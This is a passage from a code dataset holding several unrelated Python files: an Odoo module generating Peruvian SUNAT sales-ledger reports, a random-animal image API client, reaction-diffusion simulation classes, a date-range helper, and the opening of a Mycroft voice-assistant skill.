move.invoice_date_due\n\t\t\t\t#1-4\n\t\t\t\t#m_1.extend([periodo.strftime('%Y%m00'), str(number), ('A'+str(number).rjust(9,'0')), invoice.invoice_date.strftime('%d/%m/%Y')])\n\t\t\t\tm_1.extend([\n\t\t\t\t\tinvoice_date.strftime('%Y%m00'),\n\t\t\t\t\tstr(move.l10n_latam_document_number),\n\t\t\t\t\t('M'+str(1).rjust(9,'0')),\n\t\t\t\t\tinvoice_date.strftime('%d/%m/%Y'),\n\t\t\t\t])\n\t\t\t\tcontador = contador + 1\n\t\t\t\t#5: 1. Obligatorio, excepto cuando el campo 35 = '2'\n\t\t\t\tif date_due :\n\t\t\t\t\tm_1.append(date_due.strftime('%d/%m/%Y'))\n\t\t\t\telse :\n\t\t\t\t\tm_1.append('')\n\n\t\t\t\t#6-9\n\t\t\t\tm_1.extend([\n\t\t\t\t\tsunat_code,\n\t\t\t\t\tsunat_number[0],\n\t\t\t\t\tsunat_number[1],\n\t\t\t\t\t'',\n\t\t\t\t])\n\t\t\t\t#10-12\n\t\t\t\tif sunat_partner_code and sunat_partner_vat and sunat_partner_name :\n\t\t\t\t\tm_1.extend([\n\t\t\t\t\t\tsunat_partner_code,\n\t\t\t\t\t\tsunat_partner_vat,\n\t\t\t\t\t\tsunat_partner_name,\n\t\t\t\t\t])\n\t\t\t\telse :\n\t\t\t\t\tm_1.extend(['', '', '',])\n\t\t\t\t\n\t\t\t\tdatos_montos = move.obtener_montos_libro_ventas()\n\t\t\t\t# 13 - 25\n\t\t\t\tm_1.append(format(datos_montos['nro_13'], '.2f'))\n\t\t\t\tm_1.append(format(datos_montos['nro_14'], '.2f'))\n\t\t\t\tm_1.append(format(datos_montos['nro_15'], '.2f'))\n\t\t\t\tm_1.append(format(datos_montos['nro_16'], '.2f'))\n\t\t\t\tm_1.append(format(datos_montos['nro_17'], '.2f'))\n\t\t\t\tm_1.append(format(datos_montos['nro_18'], '.2f'))\n\t\t\t\tm_1.append(format(datos_montos['nro_19'], '.2f'))\n\t\t\t\tm_1.append(format(datos_montos['nro_20'], '.2f'))\n\t\t\t\tm_1.append(format(datos_montos['nro_21'], '.2f'))\n\t\t\t\tm_1.append(format(datos_montos['nro_22'], '.2f'))\n\t\t\t\tm_1.append(format(datos_montos['nro_23'], '.2f'))\n\t\t\t\tm_1.append(format(datos_montos['nro_24'], '.2f'))\n\t\t\t\tm_1.append(format(datos_montos['nro_25'], '.2f'))\n\t\t\t\t\n\t\t\t\t#26-27\n\t\t\t\tfecha_busqueda = str(invoice_date)\n\t\t\t\tcurrency_rate_id = [\n\t\t\t\t\t('name', '=', fecha_busqueda),\n\t\t\t\t\t('company_id','=', move.company_id.id),\n\t\t\t\t\t('currency_id','=', move.currency_id.id),\n\t\t\t\t]\n\t\t\t\tcurrency_rate_id = self.env['res.currency.rate'].sudo().search(currency_rate_id)\n\t\t\t\ttipo_cambio = 1.000\n\t\t\t\tif currency_rate_id:\n\t\t\t\t\ttipo_cambio = currency_rate_id.rate_pe\n\n\t\t\t\ttipo_cambio = format(tipo_cambio, '.3f')\n\t\t\t\t\n\t\t\t\tm_1.extend([move.currency_id.name, tipo_cambio])\n\t\t\t\t#28-31\n\t\t\t\t# notas credito\n\t\t\t\tif sunat_code in ['07'] :\n\t\t\t\t\torigin = move.reversed_entry_id\n\t\t\t\t\torigin_number = origin.l10n_latam_document_number\n\t\t\t\t\torigin_number = origin_number and ('-' in origin_number) and origin_number.split('-') or ['', '']\n\t\t\t\t\tm_1.extend([origin.invoice_date.strftime('%d/%m/%Y'), origin.pe_invoice_code])\n\t\t\t\t\tm_1.extend(origin_number)\n\t\t\t\t# notas debito\n\t\t\t\telif sunat_code in ['08'] :\n\t\t\t\t\torigin = move.debit_origin_id\n\t\t\t\t\torigin_number = origin.l10n_latam_document_number\n\t\t\t\t\torigin_number = origin_number and ('-' in origin_number) and origin_number.split('-') or ['', '']\n\t\t\t\t\tm_1.extend([origin.invoice_date.strftime('%d/%m/%Y'), origin.pe_invoice_code])\n\t\t\t\t\tm_1.extend(origin_number)\n\t\t\t\telse :\n\t\t\t\t\tm_1.extend(['', '', '', ''])\n\t\t\t\t#32-36\n\t\t\t\tm_1.extend(['', '', '', estado_comprobante, ''])\n\t\t\texcept Exception as e:\n\t\t\t\traise UserError(e)\n\t\t\t\tm_1 = []\n\t\t\tif m_1 :\n\t\t\t\tlines_to_write.append('|'.join(m_1))\n\t\t\tm_2 = []\n\t\t\tif m_1 :\n\t\t\t\t#1-4\n\t\t\t\t#m_1.extend([\n\t\t\t\t#    invoice_date.strftime('%Y%m00'),\n\t\t\t\t#    str(move_id),\n\t\t\t\t#    ('A'+str(move_id).rjust(9,'0')),\n\t\t\t\t#    invoice_date.strftime('%d/%m/%Y'),\n\t\t\t\t#])\n\t\t\t\tm_2.extend(m_1[0:4])\n\t\t\t\t#5\n\t\t\t\t#if date_due :\n\t\t\t\t#    m_1.append(date_due.strftime('%d/%m/%Y'))\n\t\t\t\t#else :\n\t\t\t\t#    m_1.append('')\n\t\t\t\tm_2.append(m_1[4])\n\t\t\t\t#6-9\n\t\t\t\t#m_1.extend([\n\t\t\t\t#    sunat_code,\n\t\t\t\t#    sunat_number[0],\n\t\t\t\t#    sunat_number[1],\n\t\t\t\t#    '',\n\t\t\t\t#])\n\t\t\t\tm_2.extend(m_1[5:9])\n\t\t\t\t#10-12\n\t\t\t\t#if sunat_partner_code and sunat_partner_vat and sunat_partner_name :\n\t\t\t\t#    m_1.extend([\n\t\t\t\t#        sunat_partner_code,\n\t\t\t\t#        sunat_partner_vat,\n\t\t\t\t#        sunat_partner_name,\n\t\t\t\t#    ])\n\t\t\t\t#else :\n\t\t\t\t#    m_1.extend(['', '', ''])\n\t\t\t\tm_2.extend(m_1[9:12])\n\t\t\t\t#13-14\n\t\t\t\t#m_1.extend([format(move.amount_untaxed, '.2f'), '', format(move.amount_tax, '.2f'), '', ''])\n\t\t\t\tm_2.extend([\n\t\t\t\t\tm_1[13],\n\t\t\t\t\tm_1[15],\n\t\t\t\t])\n\t\t\t\t#15-16\n\t\t\t\t#m_1.extend(['', '', '', '', '0.00', '']) #ICBP\n\t\t\t\tm_2.extend(m_1[22:24])\n\t\t\t\t#17-19\n\t\t\t\t#m_1.extend([format(move.amount_total, '.2f'), '', ''])\n\t\t\t\tm_2.extend(m_1[24:27])\n\t\t\t\t#20-23\n\t\t\t\t#if sunat_code in ['07', '08'] :\n\t\t\t\t#    origin = (sunat_code == '07') and move.credit_origin_id or move.debit_origin_id\n\t\t\t\t#    origin_number = origin.name\n\t\t\t\t#    origin_number = origin_number and ('-' in origin_number) and origin_number.split('-') or ['', '']\n\t\t\t\t#    m_1.extend([origin.invoice_date.strftime('%d/%m/%Y'), origin.pe_invoice_code])\n\t\t\t\t#    m_1.extend(origin_number)\n\t\t\t\t#else :\n\t\t\t\t#    m_1.extend(['', '', '', ''])\n\t\t\t\tm_2.extend(m_1[27:31])\n\t\t\t\t#32-36\n\t\t\t\t#m_1.extend(['', '', '', '1', ''])\n\t\t\t\tm_2.extend(m_1[32:])\n\t\t\tif m_2 :\n\t\t\t\tlines_to_write_2.append('|'.join(m_2))\n\t\tname_01 = self.get_default_filename(ple_id='140100', tiene_datos=bool(lines_to_write))\n\t\tlines_to_write.append('')\n\t\ttxt_string_01 = '\\r\\n'.join(lines_to_write)\n\t\tdict_to_write = dict()\n\t\tif txt_string_01 :\n\t\t\txlsx_file_base_64 = self._generate_xlsx_base64_bytes(txt_string_01, name_01[2:], headers=[\n\t\t\t\t'Periodo',\n\t\t\t\t'Número correlativo del mes o Código Único de la Operación (CUO)',\n\t\t\t\t'Número correlativo del asiento contable',\n\t\t\t\t'Fecha de emisión del Comprobante de Pago',\n\t\t\t\t'Fecha de Vencimiento o Fecha de Pago',\n\t\t\t\t'Tipo de Comprobante de Pago o Documento',\n\t\t\t\t'Número serie del comprobante de pago o documento o número de serie de la maquina registradora',\n\t\t\t\t'Número del comprobante de pago o documento o número inicial o constancia de depósito',\n\t\t\t\t'Número final',\n\t\t\t\t'Tipo de Documento de Identidad del cliente',\n\t\t\t\t'Número de Documento de Identidad del cliente',\n\t\t\t\t'Apellidos y nombres, denominación o razón social del cliente',\n\t\t\t\t'Valor facturado de la exportación',\n\t\t\t\t'Base imponible de la operación gravada',\n\t\t\t\t'Descuento de la Base Imponible',\n\t\t\t\t'Impuesto General a las Ventas y/o Impuesto de Promoción Municipal',\n\t\t\t\t'Descuento del Impuesto General a las Ventas y/o Impuesto de Promoción Municipal',\n\t\t\t\t'Importe total de la operación exonerada',\n\t\t\t\t'Importe total de la operación inafecta',\n\t\t\t\t'Impuesto Selectivo al Consumo',\n\t\t\t\t'Base imponible de la operación gravada con el Impuesto a las Ventas del Arroz Pilado',\n\t\t\t\t'Impuesto a las Ventas del Arroz Pilado',\n\t\t\t\t'Impuesto al Consumo de las Bolsas de Plástico',\n\t\t\t\t'Otros conceptos, tributos y cargos que no forman parte de la base imponible',\n\t\t\t\t'Importe total del comprobante de pago',\n\t\t\t\t'Código de la Moneda',\n\t\t\t\t'Tipo de cambio',\n\t\t\t\t'Fecha de emisión del comprobante de pago o documento original que se modifica o documento referencial al documento que sustenta el crédito fiscal',\n\t\t\t\t'Tipo del comprobante de pago que se modifica',\n\t\t\t\t'Número de serie del comprobante de pago que se modifica o Código de la Dependencia Aduanera',\n\t\t\t\t'Número del comprobante de pago que se modifica o Número de la DUA',\n\t\t\t\t'Identificación del Contrato o del proyecto',\n\t\t\t\t'Error tipo 1: inconsistencia en el tipo de cambio',\n\t\t\t\t'Indicador de Comprobantes de pago cancelados con medios de pago',\n\t\t\t\t'Estado que identifica la oportunidad de la anotación o indicación',\n\t\t\t\t'36',\n\t\t\t])\n\t\t\tdict_to_write.update({\n\t\t\t\t'ple_txt_01': txt_string_01,\n\t\t\t\t'ple_txt_01_binary': base64.b64encode(txt_string_01.encode()),\n\t\t\t\t'ple_txt_01_filename': name_01 + '.txt',\n\t\t\t\t'ple_xls_01_binary': xlsx_file_base_64.encode(),\n\t\t\t\t'ple_xls_01_filename': name_01 + '.xlsx',\n\t\t\t})\n\t\telse :\n\t\t\tdict_to_write.update({\n\t\t\t\t'ple_txt_01': False,\n\t\t\t\t'ple_txt_01_binary': False,\n\t\t\t\t'ple_txt_01_filename': False,\n\t\t\t\t'ple_xls_01_binary': False,\n\t\t\t\t'ple_xls_01_filename': False,\n\t\t\t})\n\t\tname_02 = self.get_default_filename(ple_id='140200', tiene_datos=bool(lines_to_write_2))\n\t\tlines_to_write_2.append('')\n\t\ttxt_string_02 = '\\r\\n'.join(lines_to_write_2)\n\t\tif txt_string_02 :\n\t\t\txlsx_file_base_64 = self._generate_xlsx_base64_bytes(txt_string_02, name_02[2:], headers=[\n\t\t\t\t'Periodo',\n\t\t\t\t'Número correlativo del mes o Código Único de la Operación (CUO)',\n\t\t\t\t'Número correlativo del asiento contable',\n\t\t\t\t'Fecha de emisión del Comprobante de Pago',\n\t\t\t\t'Fecha de Vencimiento o Fecha de Pago',\n\t\t\t\t'Tipo de Comprobante de Pago o Documento',\n\t\t\t\t'Número serie del comprobante de pago o documento o número de serie de la maquina registradora',\n\t\t\t\t'Número del comprobante de pago o documento o número inicial o constancia de depósito',\n\t\t\t\t'Número final',\n\t\t\t\t'Tipo de Documento de Identidad del cliente',\n\t\t\t\t'Número de Documento de Identidad del cliente',\n\t\t\t\t'Apellidos y nombres, denominación o razón social del cliente',\n\t\t\t\t'Valor facturado de la exportación',\n\t\t\t\t'Base imponible de la operación gravada',\n\t\t\t\t'Descuento de la Base Imponible',\n\t\t\t\t'Impuesto General a las Ventas y/o Impuesto de Promoción Municipal',\n\t\t\t\t'Descuento del Impuesto General a las Ventas y/o Impuesto de Promoción Municipal',\n\t\t\t\t'Importe total de la operación exonerada',\n\t\t\t\t'Importe total de la operación inafecta',\n\t\t\t\t'Impuesto Selectivo al Consumo',\n\t\t\t\t'Base imponible de la operación gravada con el Impuesto a las Ventas del Arroz Pilado',\n\t\t\t\t'Impuesto a las Ventas del Arroz Pilado',\n\t\t\t\t'Impuesto al Consumo de las Bolsas de Plástico',\n\t\t\t\t'Otros conceptos, tributos y cargos que no forman parte de la base imponible',\n\t\t\t\t'Importe total del comprobante de pago',\n\t\t\t\t'Código de la Moneda',\n\t\t\t\t'Tipo de cambio',\n\t\t\t\t'Fecha de emisión del comprobante de pago o documento original que se modifica o documento referencial al documento que sustenta el crédito fiscal',\n\t\t\t\t'Tipo del comprobante de pago que se modifica',\n\t\t\t\t'Número de serie del comprobante de pago que se modifica o Código de la Dependencia Aduanera',\n\t\t\t\t'Número del comprobante de pago que se modifica o Número de la DUA',\n\t\t\t\t'Identificación del Contrato o del proyecto',\n\t\t\t\t'Error tipo 1: inconsistencia en el tipo de cambio',\n\t\t\t\t'Indicador de Comprobantes de pago cancelados con medios de pago',\n\t\t\t\t'Estado que identifica la oportunidad de la anotación o indicación',\n\t\t\t\t'36',\n\t\t\t])\n\t\t\txlsx_file = StringIO(txt_string_02)\n\t\t\tdf = pandas.read_csv(xlsx_file, sep='|', header=None)\n\t\t\txlsx_file = BytesIO()\n\t\t\tdf.to_excel(xlsx_file, name_02, index=False, header=False)\n\t\t\txlsx_file = base64.b64encode(xlsx_file.getvalue())\n\t\t\tdict_to_write.update({\n\t\t\t\t'ple_txt_02': txt_string_02,\n\t\t\t\t'ple_txt_02_binary': base64.b64encode(txt_string_02.encode()),\n\t\t\t\t'ple_txt_02_filename': name_02 + '.txt',\n\t\t\t\t'ple_xls_02_binary': xlsx_file,\n\t\t\t\t'ple_xls_02_filename': name_02 + '.xlsx',\n\t\t\t})\n\t\telse :\n\t\t\tdict_to_write.update({\n\t\t\t\t'ple_txt_02': False,\n\t\t\t\t'ple_txt_02_binary': False,\n\t\t\t\t'ple_txt_02_filename': False,\n\t\t\t\t'ple_xls_02_binary': False,\n\t\t\t\t'ple_xls_02_filename': False,\n\t\t\t})\n\t\tdict_to_write.update({\n\t\t\t'date_generated': str(fields.Datetime.now()),\n\t\t})\n\t\tres = self.write(dict_to_write)\n\t\treturn res\n","repo_name":"Lobonick/cens-test","sub_path":"solse_pe_ple/models/ple_report_14.py","file_name":"ple_report_14.py","file_ext":"py","file_size_in_byte":15058,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"39976899038","text":"import aiohttp\n## --Hourly Animal API by tinyfox.dev--##\n\n\nclass RandomAnimal:\n    def __init__(self):\n        self.ephemeral = False\n\n    async def get_random_animal(self, animal):\n        async with aiohttp.ClientSession() as session:\n            async with session.get(f\"https://api.tinyfox.dev/img?animal={animal}&json\") as r:\n                if r.status == 200:\n                    js = await r.json()\n                    pic_link = js.get('loc')\n                    if pic_link != None:\n                        return f'**{animal}**, Hourly Animal API by tinyfox.dev\\nhttps://tinyfox.dev{pic_link}'\n                    available_animals = js.get('available')\n                    if available_animals != None:\n                        return 'The animal you entered wasn\\'t found. Please enter the following:\\n' + str(available_animals)\n                else:\n                    return 'The animal you entered wasn\\'t found.'\n                    self.ephemeral = True\n                    return \"Unable to fetch the animal image from the server\"\n","repo_name":"RaineXael/xaelbot","sub_path":"randomanimal.py","file_name":"randomanimal.py","file_ext":"py","file_size_in_byte":1050,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"11600422597","text":"import matplotlib.pyplot as plt\r\nimport numpy as np\r\nfrom random import choice\r\n\r\nclass chemical:\r\n    default_id = 64\r\n\r\n    def __init__(self,diff_const=1,id=\"\",color=\"\"):\r\n        if id == \"\":\r\n            chemical.default_id = chemical.default_id + 1\r\n            self.id = chr(chemical.default_id)\r\n        else:\r\n            self.id = id\r\n        self.diff_const = diff_const\r\n\r\n        if color == \"\":\r\n            self.color = '#' + ''.join([choice('0123456789ABCDEF') for j in range(6)])\r\n        else:\r\n            self.color = color\r\n\r\n    def __repr__(self):\r\n        return self.id\r\n\r\nclass reaction:\r\n    def __init__(self,chems_in:dict,chems_out:dict,reaction_const=1):\r\n        self.chems_in = chems_in.copy()\r\n        self.chems_out = chems_out.copy()\r\n        self.chems_list = set(list(chems_in) + list(chems_out))\r\n        self.reaction_const = reaction_const\r\n\r\n        self.id = \"\"\r\n        first = True\r\n        if self.chems_in:\r\n            for chem in self.chems_in:\r\n                if first:\r\n                    self.id = self.id + str(self.chems_in[chem]) + chem.id + \" \"\r\n                    first = False\r\n                else:\r\n                    self.id = self.id + \"+ \" + str(self.chems_in[chem]) + chem.id + \" \"\r\n        else:\r\n            self.id = self.id + \"Ø \"\r\n\r\n        self.id = self.id + \"-(\" + str(reaction_const) + \")> \"\r\n\r\n        first = True\r\n        if self.chems_out:\r\n            for chem in self.chems_out:\r\n                if first:\r\n                    self.id = self.id + str(self.chems_out[chem]) + chem.id + \" \"\r\n                    first = False\r\n                else:\r\n                    self.id = self.id + \"+ \" + str(self.chems_out[chem]) + chem.id + \" \"\r\n        else:\r\n            self.id = self.id + \"Ø\"\r\n\r\n    def __repr__(self):\r\n        return self.id\r\n\r\n    def has_chem(self,chem:chemical):\r\n        return chem in self.chems_list\r\n\r\n    def pred_prey(self,chems_val:dict):\r\n        c = self.reaction_const\r\n        for chem in self.chems_in:\r\n            c = c * chems_val[chem]**self.chems_in[chem]\r\n    \r\n        # consumption\r\n        consumption = {}\r\n        # if not self.chems_out:\r\n        #     for chem in self.chems_in:\r\n        #         consumption[chem] = self.reaction_const*self.chems_in[chem]\r\n        for chem in self.chems_list:\r\n            if chem in self.chems_in:\r\n                if chem in self.chems_out:\r\n                    if self.chems_in[chem] > self.chems_out[chem]:\r\n                        val = self.chems_in[chem] - self.chems_out[chem]\r\n                    else:\r\n                        val = 0\r\n                else:\r\n                    val = self.chems_in[chem]\r\n            else:\r\n                val = 0\r\n            consumption[chem] = c * val\r\n            \r\n        # creation\r\n        creation = {}\r\n        if not self.chems_in:\r\n            for chem in self.chems_out:\r\n                creation[chem] = self.reaction_const*self.chems_out[chem]\r\n        for chem in self.chems_list:\r\n            if chem in self.chems_out:\r\n                if chem in self.chems_in:\r\n                    if self.chems_in[chem] < self.chems_out[chem]:\r\n                        val = self.chems_out[chem] - self.chems_in[chem]\r\n                    else:\r\n                        val = 0\r\n                else:\r\n                    val = self.chems_out[chem]\r\n            else:\r\n                val = 0\r\n            creation[chem] = c * val\r\n\r\n        return consumption, creation\r\n\r\nclass rod:\r\n    rod_num = 0\r\n\r\n    def __init__(self,dt,dx,length=1,temp=1):\r\n        self.chems_list = set()\r\n        self.chems = {}\r\n        self.chems_next = {}\r\n        self.reacts = []\r\n        self.dx = dx\r\n        self.dt = dt\r\n        self.nx = int(length/dx)\r\n        self.length = length\r\n        self.temp = temp\r\n        self.coef = dt/(dx**2)\r\n        self.x = []\r\n        for i in range(self.nx):\r\n            self.x.append(i*self.dx)\r\n\r\n        self.fig, self.ax = plt.subplots()\r\n        rod.rod_num += 1\r\n        self.fig.canvas.manager.set_window_title(\"Rod \" + str(rod.rod_num))\r\n        plt.ion()\r\n\r\n    def __repr__(self):\r\n        out = \"=================================\\nChemicals\\n=================================\\n\"\r\n        # chemicals\r\n        for chem in self.chems_list:\r\n            out = out + chem.id + \" \"\r\n            for i in self.chems[chem]:\r\n                out = out + str(i) +\" \"\r\n            out = out + \"\\n\"\r\n\r\n        out = out + \"=================================\\nReactions\\n=================================\\n\"\r\n        #reactions\r\n        for react in self.reacts:\r\n            out = out + react.id + \"\\n\"\r\n\r\n        return out\r\n\r\n    def add_reaction(self,reacts):\r\n        if type(reacts) == reaction:\r\n            self.reacts.append(reacts)\r\n        elif type(reacts) == list:\r\n            self.reacts = self.reacts + reacts\r\n\r\n    def add_chem(self,chem:chemical,region:list,vals:list):\r\n        if len(region) != len(vals):\r\n            raise Exception(\"Provide region and vals of the same size\")\r\n        \r\n        if not chem in self.chems_list:\r\n            self.chems_list.add(chem)\r\n            self.chems[chem] = [0] * self.nx\r\n            self.chems_next[chem] = [0] * self.nx\r\n\r\n        for i in range(len(region)):\r\n            self.chems[chem][region[i]] = self.chems[chem][region[i]] + vals[i]\r\n        \r\n    def transfer_to(self,space,chem,range_in=[],range_out=[]):\r\n        # to do: add surface transfer support\r\n        \r\n        if range_in == []:\r\n            range_in = list(range(self.nx))\r\n\r\n        if range_out == []:\r\n            range_out = range_in.copy()\r\n\r\n        transfer_val = 0\r\n        for i in range(len(range_in)):\r\n            transfer_val = transfer_val + self.chems[chem][i]\r\n            self.chems[chem][range_in[i]] = 0\r\n\r\n        transfer_val = [transfer_val/len(range_out)] * len(range_out)\r\n        space.add_chem(chem,range_out,transfer_val)\r\n\r\n    def integrate_chems(self,chems=None) -> dict:\r\n        integrated = {}\r\n        if chems == None or type(chems) == list:\r\n            if chems == None:\r\n                chems = self.chems_list\r\n\r\n            for chem in chems:\r\n                integrated[chem] = 0\r\n                for i in self.chems[chem]:\r\n                    integrated[chem] = integrated[chem] + i*self.dx\r\n\r\n        elif type(chems) == chemical:\r\n            chem = chems\r\n            integrated[chem] = 0\r\n            for i in self.chems[chem]:\r\n                integrated[chem] = integrated[chem] + i*self.dx\r\n\r\n        else:\r\n            raise Exception(\"Give no argumant for all chemicals, list of chemicals wanted, or single chemical\")\r\n        \r\n        return integrated\r\n\r\n    def update(self):\r\n        for i in range(1,self.nx-1):\r\n            cons = {}\r\n            cre = {}\r\n            for react in self.reacts:\r\n                if set(react.chems_list).issubset(set(self.chems_list)):\r\n                    chems_val = {}\r\n                    for chem in react.chems_in:\r\n                        chems_val[chem] = self.chems[chem][i]\r\n                    cons_temp, cre_temp = react.pred_prey(chems_val)\r\n                    for j in cons_temp:\r\n                        if j in cons:\r\n                            cons[j] = cons[j] + cons_temp[j]\r\n                            cre[j] = cre[j] + cre_temp[j]\r\n                        else:\r\n                            cons[j] = cons_temp[j]\r\n                            cre[j] = cre_temp[j]\r\n                else:\r\n                    raise Exception(\"Missing chemicals in rod for reaction\")\r\n            for chem in self.chems_list:\r\n                if not chem in cons:\r\n                    cons[chem] = 0\r\n                if not chem in cre:\r\n                    cre[chem] = 0\r\n                \r\n                self.chems_next[chem][i] = self.coef*chem.diff_const*(self.chems[chem][i-1] - 2*self.chems[chem][i] + self.chems[chem][i+1])\\\r\n                    + self.chems[chem][i]\\\r\n                    + self.dt*(cre[chem]- cons[chem])\r\n\r\n        for chem in self.chems_list:\r\n            self.chems_next[chem][0] = self.chems_next[chem][1]\r\n            self.chems_next[chem][self.nx-1] = self.chems_next[chem][self.nx-2]\r\n\r\n        for chem in self.chems_list:\r\n            self.chems[chem] = self.chems_next[chem].copy()\r\n\r\n    def show(self,time=None,ylim=True,pause=0.00000001):\r\n        self.ax.clear()\r\n        if time != None:\r\n            self.fig.suptitle(\"Time: \" + str(time))\r\n        else:\r\n            self.fig.suptitle(\"\")\r\n        self.ax.set_xlabel(\"x\")\r\n        self.ax.set_ylabel(\"Chemical Concentration\")\r\n        for chem in self.chems_list:\r\n            self.ax.plot(self.x,self.chems[chem],color=chem.color,label=repr(chem))\r\n        self.fig.legend()\r\n        if type(ylim) != bool:\r\n            self.ax.set_ylim(ylim[0],ylim[1])\r\n        self.fig.canvas.draw()\r\n        self.fig.show()\r\n        plt.pause(pause)\r\n\r\nclass surface:\r\n    surface_num = 0\r\n\r\n    def __init__(self,dx,dy,dt,length_x=1,length_y=1,temp=1):\r\n        self.chems_list = set()\r\n        self.chems = {}\r\n        self.chems_next = {}\r\n        self.reacts = []\r\n        self.dx = dx\r\n        self.dy = dy\r\n        self.dt = dt\r\n        self.nx = int(length_x/dx)\r\n        self.ny = int(length_y/dy)\r\n        self.length_x = length_x\r\n        self.length_y = length_y\r\n        self.temp = temp \r\n        self.coef = None #####################################################\r\n        self.x = np.arange(0,1,self.dx)\r\n        self.y = np.arange(0,1,self.dy)\r\n        self.x, self.y = np.meshgrid(self.x,self.y)\r\n\r\n        self.fig, self.ax = plt.subplots()\r\n        surface.surface_num += 1\r\n        self.fig.canvas.manager.set_window_title(\"Surface \" + str(surface.rod_num))\r\n        plt.ion()\r\n\r\n    def __repr__(self):\r\n        pass\r\n\r\n    def add_reaction(self,react:reaction):\r\n        self.reacts.append(react)\r\n\r\n    def add_chem(self,chem:chemical,region:list,vals:list):\r\n        if len(region) != len(vals):\r\n            raise Exception(\"Provide region and vals of the same size\")\r\n        \r\n        if not chem in self.chems_list:\r\n            self.chems_list.add(chem)\r\n            self.chems[chem] = [0] * self.nx\r\n            self.chems_next[chem] = [0] * self.nx\r\n\r\n        for i in range(len(region)):\r\n            self.chems[chem][region[i]] = self.chems[chem][region[i]] + vals[i]\r\n\r\n    def transfer_to(self,space,chem,range_in=[],range_out=[]):\r\n        pass\r\n\r\n    def integrate_chems(self,chems=None) -> dict:\r\n        pass\r\n\r\n    def update(self):\r\n        pass\r\n\r\n    def show(self,time=None):\r\n        pass","repo_name":"DViscarra/RDS","sub_path":"classes.py","file_name":"classes.py","file_ext":"py","file_size_in_byte":10592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"17045184352","text":"import time\nfrom datetime import date, datetime, timedelta\n\n\ndef get_time_interval(get, ctx, encode=True, days_ago=30):\n    \"\"\" Shortcut function that returns a time interval from the ``get``\n        dictionary, and stores it in the ``ctx`` dictionary.\n        The ``days_ago`` is a number of days from now, in case\n        when the ``get`` does not contain any information. \"\"\"\n    if 'date_from' in get:\n        date_from = date_from_str(get['date_from'])\n    else:\n        date_from = (date.today() - timedelta(days=days_ago))\n    if 'date_to' in get:\n        date_to = date_from_str(get['date_to'])\n    else:\n        date_to = (date.today() + timedelta(days=1))\n    if encode:\n        date_from_enc = date_from.strftime('%m/%d/%Y')\n        date_to_enc = date_to.strftime('%m/%d/%Y')\n    else:\n        date_from_enc = date_from\n        date_to_enc = date_to\n    ctx['date_from'] = date_from_enc\n    ctx['date_to'] = date_to_enc\n    return date_from, date_to\n\n\ndef date_from_str(s):\n    return datetime(*time.strptime(s, '%m/%d/%Y')[:6])\n","repo_name":"amir17688/google_data_p2","sub_path":"73611_views.py_C__Users_user_Desktop_data_2_data_google_data_ipeirotis_Mturk-Tracker_app_utils.py","file_name":"73611_views.py_C__Users_user_Desktop_data_2_data_google_data_ipeirotis_Mturk-Tracker_app_utils.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"50430903516","text":"from imp import reload  # py2/3; needed cuz reload used on utils\n\nimport sys, time, re\nfrom os.path import dirname, abspath\n\nfrom adapt.intent import IntentBuilder\nfrom mycroft.skills.core import MycroftSkill\nfrom mycroft.util.log import getLogger\nfrom mycroft.messagebus.message import Message\n\nsys.path.append(abspath(dirname(__file__)))  # local imports hack\n\ntry:\n    reload(utils)\n\nexcept NameError:\n    import utils\n\nfor name in dir(utils):\n    # unpack\n    if not '__' in name:\n        if eval('\"{}\" in globals()'.format(name)): exec('del {}'.format(name))\n        exec('{0} = getattr(utils, \"{0}\")'.format(name))\n\ntry:\n    reload(abilities)\n\nexcept NameError:\n    import abilities\n\n\n__author__ = 'skeledrew'\n__version__ = '0.3.1'\n\n\nclass MathSkill(MycroftSkill):\n\n    def __init__(self):\n        super(MathSkill, self).__init__(name='MathSkill')\n        self.h_prefix = 'Dyn'\n        self.bridged_funcs = {}\n        self.Message = Message\n        self.waiting = True\n        self.thot_chains = {}\n        self.create_skill_ref = create_skill\n        self.alerts = []\n\n    def initialize(self):\n        #announce_rx = 'announce (?P<Words>.*)'\n        #self.add_ability(announce_rx, self.handle_announce_intent)\n        #self.add_ability('brain scan', self.handle_scan_intent)\n        self.add_ability('reload abilities', self.reload_abilities)\n        #grep_log_rx = 'search skill log for (?P<Search>.*)'#( and )?(?P<Before>\\d*)( before )?( and )?(?P<After>\\d*)( after)?'\n        #self.add_ability(grep_log_rx, self.handle_grep_log_intent)\n        self.load_abilities()\n        #if not 'thot_chains' in self.settings: self.settings['thot_chains'] = {}\n        self.load_chains()\n        #self.emitter.on('recognizer_loop:audio_output_end', self.ready_to_continue)\n\n    def add_ability(self, rx, handler):\n        self.log.info('Binding \"{}\" to \"{}\"'.format(rx, repr(handler)))\n        intents = self.make_intents_struct(rx)\n\n        while intents:\n            intent = intents.pop()\n\n            try:\n                self.register_intent(intent, handler)\n\n            except Exception as e:\n                self.log.error('Failed to bind {} to {}: {}. Skipped...'.format(intent, handler.__name__, repr(e)))\n\n    def reload_abilities(self, msg):\n        reload(abilities)\n        self.load_abilities()\n        self.load_chains()\n        self.speak('abilities reloaded!')\n\n    def load_abilities(self):\n        # load core and pipes\n        self.missing_abilities = []\n\n        for abl_name in dir(abilities):\n            # core abilities\n            #if '__' in abl_name or abl_name in dir(utils): continue\n            if not abl_name.startswith('abl_'): continue\n            abl = getattr(abilities, abl_name)\n            if not 'function' in repr(abl): continue\n            rx = abl()\n            if not isinstance(rx, str) or not rx: continue\n            try:\n                self.add_ability(rx, self.handle_external_intent)\n                self.bridged_funcs[rx] = abl\n\n            except Exception as e:\n                self.missing_abilities.append([abl_name, str(e.args)])\n\n    def handle_external_intent(self, msg):\n        # bridge to function\n        #self.log.debug('bridging; m_data = {}'.format(repr(msg.data)))\n        ext_func = None\n        utt = msg.data.get('utterance')\n\n        for rx in self.bridged_funcs:\n            match = 'True' if rx == utt else 'False'\n            self.log.debug('searching for correct bridge; rx = {}; utt = {}; match = {}'.format(rx, utt, match))\n            if not re.match(rx, utt): continue\n            ext_func = self.bridged_funcs[rx]\n            break\n        if not ext_func:\n            self.log.error('Failed to resolve \"{}\" to an external action.'.format(utt))\n            return False\n        ext_func(self, msg)\n        return True\n\n    def 